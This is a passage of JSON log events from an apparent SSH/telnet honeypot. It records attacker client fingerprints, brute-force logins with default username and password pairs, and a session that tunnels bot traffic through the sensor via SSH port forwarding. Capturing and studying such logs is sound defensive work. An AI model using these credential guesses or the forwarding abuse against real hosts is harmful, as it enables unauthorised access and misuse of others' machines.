oup-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:34.078413Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwerty","message":"login attempt [ftpuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:35.896461Z","src_ip":"91.92.40.36","session":"e760416e62dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:35.989078Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34424,"dst_ip":"159.203.135.109","dst_port":22,"session":"61ab88836882","protocol":"ssh","message":"New connection: 91.92.40.36:34424 (159.203.135.109:22) [session: 61ab88836882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:36.576674Z"}
{"eventid":"cowrie.session.closed","duration":35.96411371231079,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:36.635208Z","src_ip":"172.81.62.90","session":"65f9c78e0b3d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:37.206570Z","src_ip":"91.92.40.36","session":"61ab88836882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:37.210888Z","src_ip":"91.92.40.36","session":"61ab88836882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":13137,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfd981f10694","protocol":"ssh","message":"New connection: 178.20.210.208:13137 (159.203.135.109:22) [session: cfd981f10694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:38.109778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:38.119925Z","src_ip":"178.20.210.208","session":"cfd981f10694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.433945655822754,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:38.136926Z","src_ip":"172.81.62.90","session":"0be8f6b6109a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:38.217115Z","src_ip":"178.20.210.208","session":"cfd981f10694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:38.500547Z","src_ip":"91.92.40.36","session":"e760416e62dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:38.605705Z","src_ip":"178.20.210.208","session":"cfd981f10694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:39.706821Z","src_ip":"178.20.210.208","session":"cfd981f10694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"pa55w0rd","message":"login attempt [debian/pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:40.857631Z","src_ip":"91.92.40.36","session":"61ab88836882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34454,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bfeb44aa5b7","protocol":"ssh","message":"New connection: 91.92.40.36:34454 (159.203.135.109:22) [session: 6bfeb44aa5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:42.915124Z"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:42.929660Z","src_ip":"91.92.40.36","session":"61ab88836882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.802571058273315,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:43.170988Z","src_ip":"172.81.62.90","session":"17bb189f671c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:43.934141Z","src_ip":"91.92.40.36","session":"6bfeb44aa5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:43.940039Z","src_ip":"91.92.40.36","session":"6bfeb44aa5b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:44.056574Z","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:44.116071Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; WP8 Pro Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YTRVQ0oxRX5zZTE5WTxWTw%3D%3DfTqAHYVPfo15z6sVrVLwRmWWG3PGSzwhij8WLHtdMuoYW9okFeGNnn74NG1kjqYaciaKZE6mV3gPbNhO5F%2Fhib1roIyW%2F%2FAsbskvnsNVNKwbVn0Apel2%2F89uSrE3eCFh8PocBJlj32p9O2RYlQLD7RgZ%2FFgQFiFZVQHjLOVQV8OVcnnALhRxGCtpj2Qg%2FUvtNLkAAPW3TGbKqSjjWFIF0S17vxAKRqqsDpNsN8QsukYd%2F2Xq11m8zkI9YrBsT0iCnb9SiYc5BfndXLs8K%2BnFPmHqc5UAb11UnkO%2Bkk2XNU%2BgxsaKU7bVC8shetmVwR5alrQEgFp%2FmTzG04ffjPgsykVbCEHO0t0ORA6p10vYBxVs659uZCtsQDwGRVTjnbgikuMUKsHTUnP%2BMY09%2FuZxNgkOWqe8bhVpl3eQPMSdNDMbexfU9R5RvOkP%2BZESHDa4Kr6hUfgLbuP3keP2QDkK1Qc2AzCBDdeLjf64b8K%2BHMUbcTFetlYFpwwDfUVLuyOTwDwaCI8nmbYTmDU22I%2BjhX4lcRMr0%2FnAHXvxqCKj2bBtscRhCR%2FEiFspz6WkLDGBIBDAn%2Bn8cLyGHTcFhm%2FOqaokLmsF%2Bk0L3sUZT9HxD47jMlnCdBpWEfV%2BOxXN4PTfeabiRQ3yiK5yTqWXt8c2nD3TFrQT8A63codMDLrKebopO0AShBdQHQiyLmQYh97nlDO2lNoglZ3b7giAmzN5sNs9XmxwXZ2ExpMBTz8gfPyHkbY7f1JZuGq2NU%2BcuytYyssaGNR4BgDMNNvLp1vePwnFsu8OFYc7cPCEjiAQ6YpDPkx9C%2FTX2FJDkecoyb8Ac%2BplTrvVtOAtB%2FXvjBOTMS86sYW6jqx55Ra6cpJm2qfxBrBSnY%2FAwqd9gEfUVUK61u%2BhCNhCmOcmwbCJvM1%2FCx2qJPlXuACbkl3u5sXnE41A7OQze3nfj%2BLTn%2FRGCRV6V9n6Nx4sR6cpdXaXXjUCwn6eU6uqnBXibo%2FID%2FFpB0djLKtp6QDtWlW%2BbEb6fBg9Y2Hl5xrT740l631ctDksBfQ%2FoIyTrWT8HKuxt1bMZve%2FNC1DIBq%2FRd0%2BBOD2YagF'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; WP8 Pro Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YTRVQ0oxRX5zZTE5WTxWTw%3D%3DfTqAHYVPfo15z6sVrVLwRmWWG3PGSzwhij8WLHtdMuoYW9okFeGNnn74NG1kjqYaciaKZE6mV3gPbNhO5F%2Fhib1roIyW%2F%2FAsbskvnsNVNKwbVn0Apel2%2F89uSrE3eCFh8PocBJlj32p9O2RYlQLD7RgZ%2FFgQFiFZVQHjLOVQV8OVcnnALhRxGCtpj2Qg%2FUvtNLkAAPW3TGbKqSjjWFIF0S17vxAKRqqsDpNsN8QsukYd%2F2Xq11m8zkI9YrBsT0iCnb9SiYc5BfndXLs8K%2BnFPmHqc5UAb11UnkO%2Bkk2XNU%2BgxsaKU7bVC8shetmVwR5alrQEgFp%2FmTzG04ffjPgsykVbCEHO0t0ORA6p10vYBxVs659uZCtsQDwGRVTjnbgikuMUKsHTUnP%2BMY09%2FuZxNgkOWqe8bhVpl3eQPMSdNDMbexfU9R5RvOkP%2BZESHDa4Kr6hUfgLbuP3keP2QDkK1Qc2AzCBDdeLjf64b8K%2BHMUbcTFetlYFpwwDfUVLuyOTwDwaCI8nmbYTmDU22I%2BjhX4lcRMr0%2FnAHXvxqCKj2bBtscRhCR%2FEiFspz6WkLDGBIBDAn%2Bn8cLyGHTcFhm%2FOqaokLmsF%2Bk0L3sUZT9HxD47jMlnCdBpWEfV%2BOxXN4PTfeabiRQ3yiK5yTqWXt8c2nD3TFrQT8A63codMDLrKebopO0AShBdQHQiyLmQYh97nlDO2lNoglZ3b7giAmzN5sNs9XmxwXZ2ExpMBTz8gfPyHkbY7f1JZuGq2NU%2BcuytYyssaGNR4BgDMNNvLp1vePwnFsu8OFYc7cPCEjiAQ6YpDPkx9C%2FTX2FJDkecoyb8Ac%2BplTrvVtOAtB%2FXvjBOTMS86sYW6jqx55Ra6cpJm2qfxBrBSnY%2FAwqd9gEfUVUK61u%2BhCNhCmOcmwbCJvM1%2FCx2qJPlXuACbkl3u5sXnE41A7OQze3nfj%2BLTn%2FRGCRV6V9n6Nx4sR6cpdXaXXjUCwn6eU6uqnBXibo%2FID%2FFpB0djLKtp6QDtWlW%2BbEb6fBg9Y2Hl5xrT740l631ctDksBfQ%2FoIyTrWT8HKuxt1bMZve%2FNC1DIBq%2FRd0%2BBOD2YagF'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:44.119135Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:46.913630Z","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:46.973504Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8\\xfc\\xe5(\\xceI^\\xe9\\x8c\\x1e\\x99k\\xfc\\x03\"u\\xa4\\x8b\\xf0\\xd8d\\xca+\\xceA)imx\"\\xc5y J\\xfbSY\\x81T\\x89\\xb1\\xae\\x87\\x1f\\xc9\\x15\\xe0\\xc2\\x19\\x99\\x06\\x02V\\xa91\\xaa\\x17\\n\\xc2A\\x82S\\xa3\\x98\\xb6\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x00\\xd9w\\xdc(y\\xa5=\\x0f\\x17\\x930\\xb1An\\xabh\\x13h\\x1f\\xf0(qW6\\xa5\\x97\\x88x\\x01>\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8\\xfc\\xe5(\\xceI^\\xe9\\x8c\\x1e\\x99k\\xfc\\x03\"u\\xa4\\x8b\\xf0\\xd8d\\xca+\\xceA)imx\"\\xc5y J\\xfbSY\\x81T\\x89\\xb1\\xae\\x87\\x1f\\xc9\\x15\\xe0\\xc2\\x19\\x99\\x06\\x02V\\xa91\\xaa\\x17\\n\\xc2A\\x82S\\xa3\\x98\\xb6\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x00\\xd9w\\xdc(y\\xa5=\\x0f\\x17\\x930\\xb1An\\xabh\\x13h\\x1f\\xf0(qW6\\xa5\\x97\\x88x\\x01>\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:46.977414Z","src_ip":"23.175.50.51","session":"5c4ec195a6cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:05:47.058083Z","session":"5c4ec195a6cf","protocol":"ssh"}
